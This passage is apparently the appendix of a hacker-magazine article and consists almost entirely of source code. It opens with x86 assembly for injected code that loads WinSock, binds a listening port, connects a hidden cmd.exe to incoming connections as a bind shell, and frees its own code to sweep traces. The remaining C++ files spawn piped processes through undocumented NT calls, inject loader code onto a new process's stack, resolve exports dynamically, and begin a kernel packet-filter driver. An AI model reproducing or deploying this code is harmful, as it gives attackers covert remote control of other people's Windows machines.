;call      _Sleep, INFINITE
jmp         $

remote_shell:
IFDEF DEBUG
int 3
ENDIF
ebp_value_here_2:
mov         esi, 0
lab_posle_ebp_value:
ORG ebp_value_here_2+1
ebp_value_here:
ORG lab_posle_ebp_value-main
mov         ecx, SizeOfLocals
sub         esi, ecx
mov         edi, esp
sub         edi, ecx
cld
rep movsb
mov         ebp, esp
sub         esp, SizeOfLocals

flag_addr_here_2:
mov         eax, 0
lab_posle_flag_addr:
ORG flag_addr_here_2+1
flag_addr_here:
ORG lab_posle_flag_addr-main
mov         DWORD PTR [eax], 1

;Load WinSock
laa         eax, szWSOCK32
call _LoadLibrary, eax
or          eax, eax
jz          quit

;---- get ImageBase of ws2_32.dll ----
;I'm deviator: load at first, then as if seek :)
lea         ebx, WS2_32FunctionsTable
push        ebx
laa         ebx, WS2_32StringTable
push        ebx
push        eax
call GetDllBaseAndLoadFunctions

;--- telnet server
lea         eax, wsadat
push        eax
push        0101h
call _WSAStartup

xor         ebx, ebx
;socket does not suit here!
call _WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, ebx, ebx, ebx
mov         sock, eax

```

```
mov     addr.sin_family,AF_INET
mov     addr.sin_port,0088h
mov     addr.sin_addr,INADDR_ANY
```

;Look for unused port from 34816 and bind to it

```
retry_bind:
lea     ebx,addr
call    _bind,sock,ebx,SIZE sockaddr_in
IFDEF  RETRY_BIND
or      eax, eax
jz      l_listen
lea     edx,addr.sin_port+1
inc     byte ptr[edx]
cmp     byte ptr[edx],0
;All ports busy...
jz      quit
jmp     retry_bind
ENDIF
```

```
l_listen:
call    _listen,sock,1
or      eax, eax
jnz     quit
```

ShellCycle:

```
mov     sizeofaddr,SIZE sockaddr_in
lea     eax,sizeofaddr
push    eax
lea     eax, addr
push    eax
push    sock
call    _accept
mov     sock2, eax
```

RunCmd:

```
;int      3
```

;Zero StartInf

```
cld
lea     edi,StartInf
xor     eax,eax
mov     ecx,SIZE STARTUPINFO
rep     stosb
```

;Fill StartInf. Shell will be bound to socket

```
mov     StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW
mov     eax, sock2
mov     StartInf.hStdOutput,eax
mov     StartInf.hStdError,eax
mov     StartInf.hStdInput,eax
mov     StartInf.cb,SIZE STARTUPINFO
```

;Start shell

```
xor     ebx,ebx
lea     eax,ProcInf
push    eax
lea     eax,StartInf
push    eax
push    ebx
push    ebx
push    CREATE_NO_WINDOW
```

```

push        1
push        ebx
push        ebx
laa         eax,CmdLine
push        eax
push        ebx
call        _CreateProcessA

;To avoid hanging sessions
call        _closesocket,sock2

IFDEF MULTIPLE_CONNECT
jmp         ShellCycle
ENDIF

quit:
call        _closesocket,sock
call        _WSACleanup
;Sweep traces: free memory with that code and terminate thread
;Code must not free stack because ExitThread address is there
;It may wipe (zero out) stack in future versions
push        MEM_RELEASE
xor         ebx,ebx
push        ebx
push        OFFSET Start
push        ebx
push        _ExitThread
jmp         _VirtualFree
main endp

; ----- ROUTINES -----

; returns NULL in the case of an error
GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddr:DWORD, FuncNames
Table:DWORD, FuncPtrsTable:DWORD
;-----
local SEH:sSEH, FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD
; install SEH frame
laaa        eax, KernelSearchSehHandler
push        eax
push fs:dword ptr[0]
mov SEH.OrgEsp, esp
laaa        eax, ExceptCont
mov SEH.SaveEip, eax
mov fs:dword ptr[0], esp

; start the search
mov edi, dwSearchStartAddr
.while TRUE
    .if word ptr [edi] == IMAGE_DOS_SIGNATURE
        mov esi, edi
        add esi, [esi+03Ch]
        .if dword ptr [esi] == IMAGE_NT_SIGNATURE
            .break
        .endif
    .endif
    ExceptCont:
    sub edi, 010000h
.endw
mov         dwDllBase,edi
mov         PEHeader,esi

LoadFunctions:

```

```

; get the string length of the target Api
mov  edi, FuncNamesTable
mov  ecx, MAX_API_STRING_LENGTH
xor  al, al
repnz scasb
mov  FuncNameEnd,edi
mov  ecx, edi
sub  ecx, FuncNamesTable      ; ECX -> Api string length

; trace the export table
mov  edx, [esi+078h]          ; EDX -> Export table
add  edx, dwDllBase
assume edx:ptr IMAGE_EXPORT_DIRECTORY
mov  ebx, [edx].AddressOfNames ; EBX -> AddressOfNames array pointer
add  ebx, dwDllBase
xor  eax, eax                ; eax AddressOfNames Index
.repeat
    mov  edi, [ebx]
    add  edi, dwDllBase
    mov  esi, FuncNamesTable
    push ecx                ; save the api string length
    repz cmpsb
    .if zero?
        add  esp, 4
        .break
    .endif
    pop  ecx
    add  ebx, 4
    inc  eax
.until eax == [edx].NumberOfNames

; did we found sth ?
.if eax == [edx].NumberOfNames
    jmp ExceptContinue
.endif

; find the corresponding Ordinal
mov  esi, [edx].AddressOfNameOrdinals
add  esi, dwDllBase
shl  eax, 1
add  eax, esi
movzx eax, word ptr [eax]

; get the address of the api
mov  edi, [edx].AddressOfFunctions
shl  eax, 2
add  eax, dwDllBase
add  eax, edi
mov  eax, [eax]
add  eax, dwDllBase

mov  ecx, FuncNameEnd
mov  FuncNamesTable, ecx
mov  ebx, FuncPtrsTable
mov  DWORD PTR [ebx], eax
mov  esi, PEHeader
cmp  BYTE PTR [ecx], 0
jnz  LoadFunctions

Quit:
; shutdown seh frame
pop  fs:dword ptr[0]
add  esp, 4

```

```

ret
ExceptContinue:
mov     edi, dwDllBase
jmp     ExceptCont
GetDllBaseAndLoadFunctions endp

KernelSearchSehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
mov     eax, pContext
assume  eax:ptr CONTEXT
sub     dword ptr [eax].cx_Edi,010000h
mov     eax, 0             ;ExceptionContinueExecution
ret
KernelSearchSehHandler ENDP

KERNEL32StringTable:
szCreateThread          db "CreateThread",0
szGetThreadContext      db "GetThreadContext",0
szSetThreadContext      db "SetThreadContext",0
szExitThread            db "ExitThread",0
szLoadLibrary           db "LoadLibraryA",0
szCreateProcessA        db "CreateProcessA",0
szSleep                 db "Sleep",0
szVirtualFree           db "VirtualFree",0
db                      0

szWSOCK32               db "WS2_32.DLL",0
WS2_32StringTable:
szsocket                db "WSASocketA",0
szbind                  db "bind",0
szlisten                db "listen",0
szaccept                db "accept",0
szWSAStartup            db "WSAStartup",0
szclosesocket           db "closesocket",0
szWSACleanup            db "WSACleanup",0
db                      0

NTDLLStringTable:
szZwOpenThread          db "ZwOpenThread",0
szZwAlertThread         db "ZwAlertThread",0
db                      0

CmdLine                 db "cmd.exe",0

ALIGN 4
CLID_here               CLIENT_ID <0>

;-----

EndFile:

end Start

----[ 8.4 - NebbetCreateProcess.cpp

#include <ntdll.h>
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
extern "C" {
#include "SECSYS.H"
}

```

```

namespace NT {

typedef struct _CSRSS_MESSAGE{
    ULONG        Unknwon1;
    ULONG        Opcode;
    ULONG        Status;
    ULONG        Unknwon2;
}CSRSS_MESSAGE,*PCSRSS_MESSAGE;

}

DYNAMIC_LOAD1(CsrClientCallServer)
DYNAMIC_LOAD1(RtlDestroyProcessParameters)
DYNAMIC_LOAD1(ZwWriteVirtualMemory)
DYNAMIC_LOAD1(ZwResumeThread)
DYNAMIC_LOAD1(ZwCreateThread)
DYNAMIC_LOAD1(ZwProtectVirtualMemory)
DYNAMIC_LOAD1(ZwCreateProcess)
DYNAMIC_LOAD1(ZwRequestWaitReplyPort)
DYNAMIC_LOAD1(ZwReadVirtualMemory)
DYNAMIC_LOAD1(ZwCreateNamedPipeFile)
DYNAMIC_LOAD1(LdrGetDllHandle)

//Dynamic import of functions exported from ntdll.dll
extern "C" void LoadFuncs()
{
    static PVOID pNTDLL;
    if (!pNTDLL)
    {
        pNTDLL=FindNT();
        DYNAMIC_LOAD2(CsrClientCallServer)
        DYNAMIC_LOAD2(RtlDestroyProcessParameters)
        DYNAMIC_LOAD2(ZwWriteVirtualMemory)
        DYNAMIC_LOAD2(ZwResumeThread)
        DYNAMIC_LOAD2(ZwCreateThread)
        DYNAMIC_LOAD2(ZwProtectVirtualMemory)
        DYNAMIC_LOAD2(ZwCreateProcess)
        DYNAMIC_LOAD2(ZwRequestWaitReplyPort)
        DYNAMIC_LOAD2(ZwReadVirtualMemory)
        DYNAMIC_LOAD2(ZwCreateNamedPipeFile)
        DYNAMIC_LOAD2(LdrGetDllHandle)
    }
}

//Informs CSRSS about new win32-process
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
{
    //
    _asm int 3;
    struct CSRSS_MESSAGE {
        ULONG Unknown1;
        ULONG Opcode;
        ULONG Status;
        ULONG Unknown2;
    };

    struct {
        NT::PORT_MESSAGE PortMessage;
        CSRSS_MESSAGE CsrssMessage;
        PROCESS_INFORMATION ProcessInformation;
        NT::CLIENT_ID Debugger;
        ULONG CreationFlags;
        ULONG VdmInfo[2];
    } csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHA

```



```

NDLES | STARTF_USESHOWWINDOW*/, {0});

    CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24);
}

//Initialse empty environment
PWSTR InitEnvironment(HANDLE hProcess)
{
    PVOID p=0;
    DWORD dummy=0;
    DWORD n=sizeof(dummy);
    DWORD m;
    m=n;
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m,
                                MEM_COMMIT, PAGE_READWRITE);
    ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);
    return PWSTR(p);
}

// Clone of Ntdll::RtlCreateProcessParameters...
VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp,
                                NT::PUNICODE_STR
                                ImageFile,
                                NT::PUNICODE_STR
                                DllPath,
                                NT::PUNICODE_STR
                                CurrentDirectory,
                                NT::PUNICODE_STR
                                CommandLine,
                                ULONG          Cre
                                ationFlag,
                                NT::PUNICODE_STR
                                WindowTitle,
                                NT::PUNICODE_STR
                                Desktop,
                                NT::PUNICODE_STR
                                Reserved,
                                NT::PUNICODE_STR
                                Reserved2){
    NT::PROCESS_PARAMETERS*      lpp;

    ULONG          Size=sizeof(NT::PROCESS_PARAMETERS);
    if(ImageFile) Size+=ImageFile->MaximumLength;
    if(DllPath) Size+=DllPath->MaximumLength;
    if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength;
    if(CommandLine) Size+=CommandLine->MaximumLength;
    if(WindowTitle) Size+=WindowTitle->MaximumLength;
    if(Desktop) Size+=Desktop->MaximumLength;
    if(Reserved) Size+=Reserved->MaximumLength;
    if(Reserved2) Size+=Reserved2->MaximumLength;

    //Allocate the buffer..
    *pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool, Size);
    lpp=*pp;
    RtlZeroMemory(lpp, Size);

    lpp->AllocationSize=PAGE_SIZE;
    lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added
    (if any)
    lpp->hStdInput=0;
    lpp->hStdOutput=0;
    lpp->hStdError=0;

```

```

        if (CurrentDirectory) {
            lpp->CurrentDirectoryName.Length=CurrentDirectory->Length;
            lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory->Maximum
mLength;
            RtlCopyMemory( (PCHAR) (lpp)+lpp->Size,CurrentDirectory->Buffer,Cu
rrentDirectory->Length);
            lpp->CurrentDirectoryName.Buffer=(PWCHAR) lpp->Size;
            lpp->Size+=CurrentDirectory->MaximumLength;
        }
        if (DllPath) {
            lpp->DllPath.Length=DllPath->Length;
            lpp->DllPath.MaximumLength=DllPath->MaximumLength;
            RtlCopyMemory( (PCHAR) (lpp)+lpp->Size,DllPath->Buffer,DllPath->Le
ngth);
            lpp->DllPath.Buffer=(PWCHAR) lpp->Size;
            lpp->Size+=DllPath->MaximumLength;
        }
        if (ImageFile) {
            lpp->ImageFile.Length=ImageFile->Length;
            lpp->ImageFile.MaximumLength=ImageFile->MaximumLength;
            RtlCopyMemory( (PCHAR) (lpp)+lpp->Size,ImageFile->Buffer,ImageFile
->Length);
            lpp->ImageFile.Buffer=(PWCHAR) lpp->Size;
            lpp->Size+=ImageFile->MaximumLength;
        }
        if (CommandLine) {
            lpp->CommandLine.Length=CommandLine->Length;
            lpp->CommandLine.MaximumLength=CommandLine->MaximumLength;
            RtlCopyMemory( (PCHAR) (lpp)+lpp->Size,CommandLine->Buffer,Command
Line->Length);
            lpp->CommandLine.Buffer=(PWCHAR) lpp->Size;
            lpp->Size+=CommandLine->MaximumLength;
        }
        if (WindowTitle) {
            lpp->WindowTitle.Length=WindowTitle->Length;
            lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength;
            RtlCopyMemory( (PCHAR) (lpp)+lpp->Size,WindowTitle->Buffer,WindowT
itle->Length);
            lpp->WindowTitle.Buffer=(PWCHAR) lpp->Size;
            lpp->Size+=WindowTitle->MaximumLength;
        }
        if (Desktop) {
            lpp->Desktop.Length=Desktop->Length;
            lpp->Desktop.MaximumLength=Desktop->MaximumLength;
            RtlCopyMemory( (PCHAR) (lpp)+lpp->Size,Desktop->Buffer,Desktop->Le
ngth);
            lpp->Desktop.Buffer=(PWCHAR) lpp->Size;
            lpp->Size+=Desktop->MaximumLength;
        }
        if (Reserved) {
            lpp->Reserved2.Length=Reserved->Length;
            lpp->Reserved2.MaximumLength=Reserved->MaximumLength;
            RtlCopyMemory( (PCHAR) (lpp)+lpp->Size,Reserved->Buffer,Reserved->
Length);
            lpp->Reserved2.Buffer=(PWCHAR) lpp->Size;
            lpp->Size+=Reserved->MaximumLength;
        }
/*        if (Reserved2) {
            lpp->Reserved3.Length=Reserved2->Length;
            lpp->Reserved3.MaximumLength=Reserved2->MaximumLength;
            RtlCopyMemory( (PCHAR) (lpp)+lpp->Size,Reserved2->Buffer,Reserved2
->Length);
            lpp->Reserved3.Buffer=(PWCHAR) lpp->Size;

```

```

        lpp->Size+=Reserved2->MaximumLength;
    }*/
}

VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb,
                             NT::PUNICODE_STRING ImageFile, HANDLE hPipe)
{
    NT::PPROCESS_PARAMETERS pp;
    NT::UNICODE_STRING      CurrentDirectory;

    NT::UNICODE_STRING      DllPath;

    NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\");
    NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\");

    RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, Image
File, 0, 0, 0, 0, 0);

    pp->hStdInput=hPipe;
    pp->hStdOutput=hPipe;//hStdOutPipe;
    pp->hStdError=hPipe;//hStdOutPipe;
    pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;

    pp->Environment = InitEnvironment(hProcess);

    ULONG n = pp->Size;
    PVOID p = 0;
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_READWRITE);

    ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0);

    ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);

    RtlDestroyProcessParameters(pp);
}

namespace NT {
extern "C" {
DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);
BOOL        WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID);
}}

NTSTATUS BuildAllowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor)
{
    //_asm int 3;
    SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_
WORLD_RID};
    SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYS
TEM_RID};
    char daclbuf[PAGE_SIZE];
    NT::PACL dacl = (NT::PACL)&daclbuf;
    char sdbuf[PAGE_SIZE];
    NT::PSECURITY_DESCRIPTOR sd = &sdbuf;

    NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION);
    if (!NT_SUCCESS(status)) return status;
    status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &Se

```

```

WorldSid);
    if (!NT_SUCCESS(status)) return status;
    RtlZeroMemory(sd, PAGE_SIZE);
    status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
    if (!NT_SUCCESS(status)) return status;
    status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE);
    if (!NT_SUCCESS(status)) return status;
    status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE);
    if (!NT_SUCCESS(status)) return status;
    if (!NT::RtlValidSecurityDescriptor(sd)) {
        _asm int 3;
    }

    //To try!
    ULONG buflen = PAGE_SIZE*2;
    *pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen);
    if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES;
    return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen);
}

#define PIPE_NAME_MAX 40*2

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName,
IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess)
{
    NT::IO_STATUS_BLOCK iosb;

    NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd};
;
    NT::LARGE_INTEGER nTimeout;
    nTimeout.QuadPart = (__int64)-1E7;
    return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_
ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess,
        FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOu
t);
}

int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName)
{
    HANDLE hProcess, hThread, hSection, hFile;

    //_asm int 3;

    NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE};
    NT::IO_STATUS_BLOCK iosb;
    NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb,
        FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

    oa.ObjectName = 0;

    NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,
        PAGE_EXECUTE, SEC_IMAGE, hFile);

    NT::ZwClose(hFile);

    ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa,
        NtCurrentProcess(), TRUE, hSection, 0, 0);

    NT::SECTION_IMAGE_INFORMATION sii;
    NT::ZwQuerySection(hSection, NT::SectionImageInformation,
        &sii, sizeof sii, 0);

    NT::ZwClose(hSection);

```

```

NT::USER_STACK stack = {0};

ULONG n = sii.StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
                             MEM_RESERVE, PAGE_READWRITE);

stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom
                                   + sii.StackReserve);
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
                              - sii.StackCommit;

/* PAGE_EXECUTE_READWRITE is needed if initialisation code will be execu
ted on stack*/
n = sii.StackCommit + PAGE_SIZE;
PVOID p = PCHAR(stack.ExpandableStackBase) - n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                             MEM_COMMIT, PAGE_EXECUTE_READWRITE);

ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
                       PAGE_READWRITE | PAGE_GUARD, &x);

NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0;
context.SegFs = 0x38;
context.SegEs = 0x20;
context.SegDs = 0x20;
context.SegSs = 0x20;
context.SegCs = 0x18;
context.EFlags = 0x3000;
context.Esp = ULONG(stack.ExpandableStackBase) - 4;
context.Eip = ULONG(sii.EntryPoint);

NT::CLIENT_ID cid;

ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa,
               hProcess, &cid, &context, &stack, TRUE);

NT::PROCESS_BASIC_INFORMATION pbi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
                              &pbi, sizeof pbi, 0);

HANDLE hPipe, hPipe1;
oa.ObjectName = PipeName;
oa.Attributes = OBJ_INHERIT;
if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &
oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FI
LE_NON_DIRECTORY_FILE)) return 0;
NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe,
                     0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);

CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);

InformCsrss(hProcess, hThread,
            ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));

ZwResumeThread(hThread, 0);

NT::ZwClose(hProcess);
NT::ZwClose(hThread);

return int(cid.UniqueProcess);

```

```

}

int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName)
{
    NT::UNICODE_STRING ImageFile;
    NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName);
    return exec_piped(&ImageFile, PipeName);
}

```

----[8.5 - NebbetCreateProcess.diff

```

268a269,384
> typedef
> WINBASEAPI
> BOOL
> (WINAPI
> *f_SetStdHandle) (
>     IN DWORD nStdHandle,
>     IN HANDLE hHandle
> );
> typedef
> WINBASEAPI
> HANDLE
> (WINAPI
> *f_CreateFileW) (
>     IN LPCWSTR lpFileName,
>     IN DWORD dwDesiredAccess,
>     IN DWORD dwShareMode,
>     IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
>     IN DWORD dwCreationDisposition,
>     IN DWORD dwFlagsAndAttributes,
>     IN HANDLE hTemplateFile
> );
> #ifdef _DEBUG
> typedef
> WINBASEAPI
> DWORD
> (WINAPI
> *f_GetLastError) (
>     VOID
> );
> #endif
> typedef VOID (*f_EntryPoint)(VOID);
>
> struct s_data2embed
> {
>     wchar_t PipeName[PIPE_NAME_MAX];
>     //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];
>     f_SetStdHandle pSetStdHandle;
>     f_CreateFileW pCreateFileW;
>     f_EntryPoint EntryPoint;
> #ifdef _DEBUG
>     f_GetLastError pGetLastError;
> #endif
> };
>
> //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data)
> {
>     HANDLE hPipe;
>
>     __asm int 3;

```

```

>         hPipe = embedded_data->pCreateFileW(embedded_data->PipeName,
>         GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
>         0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
>         NULL,
>         OPEN_EXISTING,
>         0/*FILE_ATTRIBUTE_NORMAL*/,
>         NULL);
>     embedded_data->pGetLastError();
>     /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;
>     hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName,
>     GENERIC_WRITE | SYNCHRONIZE,
>     FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
>     NULL,
>     OPEN_EXISTING,
>     0,
>     NULL);
>     embedded_data->pGetLastError();
>     if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */
>     if (hPipe!=INVALID_HANDLE_VALUE)
>     {
>         embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe);
>         embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe);
>         embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe);
>     }
>     embedded_data->EntryPoint();
> }
> __declspec(naked) void after_code2embed(){};
> #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed)
>
> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PV
OID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG
pNewStack)
> {
>     s_data2embed data2embed;
>     PVOID pKERNEL32;
>     NT::UNICODE_STRING ModuleFileName;
>
>     _asm int 3;
>
>     *pCode = 0;
>     *pNewStack = 0;
>     NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll");
>     LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32);
>     if (!pKERNEL32) return;
>     data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHa
ndle");
>     data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFile
W");
>     #ifdef _DEBUG
>     data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastE
rror");
>     #endif
>     if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return;
>     data2embed.EntryPoint=(f_EntryPoint)EntryPoint;
>     wcsncpy(data2embed.PipeName, PipeName);
>     //wcsncpy(data2embed.WPipeName, WPipeName);
>     char* p = (char*)pStack - sizeof_code2embed;
>     if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed,
0)) return;
>     *pCode = (ULONG)p;
>
>     p -= sizeof s_data2embed;
>     if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed

```

```

, 0)) return;
>
>     PVOID pData = (PVOID)p;
>     p -= sizeof pData;
>     if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return
;
>
>     p -= 4;
>     *pNewStack = (ULONG)p;
> }
>
317a434,437
>     ULONG newEIP, NewStack;
>     redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.Expandabl
eStackBase, &newEIP, &NewStack);
>     if ((!NewStack)||(!newEIP)) return 0;
>
326,327c446,449
<     context.Esp = ULONG(stack.ExpandableStackBase) - 4;
<     context.Eip = ULONG(sii.EntryPoint);
---
>     //loader code is on the stack
>     context.Esp = NewStack;
>     context.Eip = newEIP;

```

----[8.6 - NtdllDynamicLoader.cpp

```

#include <ntdll.h>
//#include "UndocKernel.h"
#include "DynLoadFromNtdll.h"

//Example A.2 from Nebbet's book

//Search loaded module by name
PVOID FindModule(char *module)
{
    ULONG n;
    //Request necessary size of buffer
    NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
                                &n, 0, &n);
    //Allocate memory for n structures
    PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
    //Request information about modules
    NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
                                q, n * sizeof *q, 0);

    //Module counter located at address q, information begins at q+1
    NT::PSYSTEM_MODULE_INFORMATION p
    = NT::PSYSTEM_MODULE_INFORMATION(q + 1);
    PVOID ntdll = 0;

    //Cycle for each module ...
    for (ULONG i = 0; i < *q; i++)
    {
        //...compare it's name with looked for...
        if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset,
                    module) == 0)
        {
            //...and stop if module found
            ntdll = p[i].Base;
            break;
        }
    }
}

```



```

    }
    //Free memory
    NT::ExFreePool(q);
    return ntdll;
}

PVOID FindNT()
{
    return FindModule("ntdll.dll");
}

//Search exported function named Name in module, loaded at address Base
PVOID FindFunc(PVOID Base, PCSTR Name)
{
    //At address Base there is DOS EXE header
    PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base);
    //Extract offset of PE-header from it
    PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew);
    //Evaluate pointer to section table,
    //according to directory of exported functions
    PIMAGE_DATA_DIRECTORY expdir
        = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
    //Extract address and size of that table
    ULONG size = expdir->Size;
    ULONG addr = expdir->VirtualAddress;

    //Evaluate pointers:
    // - to directory of exported functions
    PIMAGE_EXPORT_DIRECTORY exports
        = PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);
    // - to table of addresses
    PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
    // - to table of ordinals
    PSHORT ordinals = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals);
    // - to table of names
    PULONG names = PULONG(PCHAR(Base) + exports->AddressOfNames);

    //Cycle through table of names ...
    for (ULONG i = 0; i < exports->NumberOfNames; i++) {
        //Ordinal that matches name is index in the table of addresses
        ULONG ord = ordinals[i];
        //Test is the address correct
        if (functions[ord] < addr || functions[ord] >= addr + size) {
            //If function name matches looked for...
            if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)
                //then return it's address
                return PCHAR(Base) + functions[ord];
        }
    }

    //Function not found
    return 0;
}

```

----[8.7 - Filtering.cpp

```

extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "filtering.h"
#include "Sniffer.h"

```

```

NTSYSAPI
NTSTATUS
NTAPI
ZwLoadDriver(
    IN PUNICODE_STRING DriverServiceName
);

extern PF_FORWARD_ACTION PacketFilter(
    IN IPHeader *PacketHeader,
    IN unsigned char *Packet,
    IN unsigned int PacketLength,
    IN unsigned int RecvInterfaceIndex,
    IN unsigned int SendInterfaceIndex,
    IN IPAddr RecvLinkNextHop,
    IN IPAddr SendLinkNextHop
);

NTSTATUS globalresult;
PDEVICE_OBJECT pDeviceObject;
PFILE_OBJECT pFileObject;
KEVENT Event;

NTSTATUS SutdownFiltering()
{
    if ((pDeviceObject)&&(pFileObject))
    {
        globalresult=SetupFiltering(NULL);
        ObDereferenceObject(pFileObject);
        return globalresult;
    }
    else return STATUS_SUCCESS;
}

NTSTATUS InitFiltering()
{
    UNICODE_STRING FiltDrvName;
    UNICODE_STRING DSN={0};
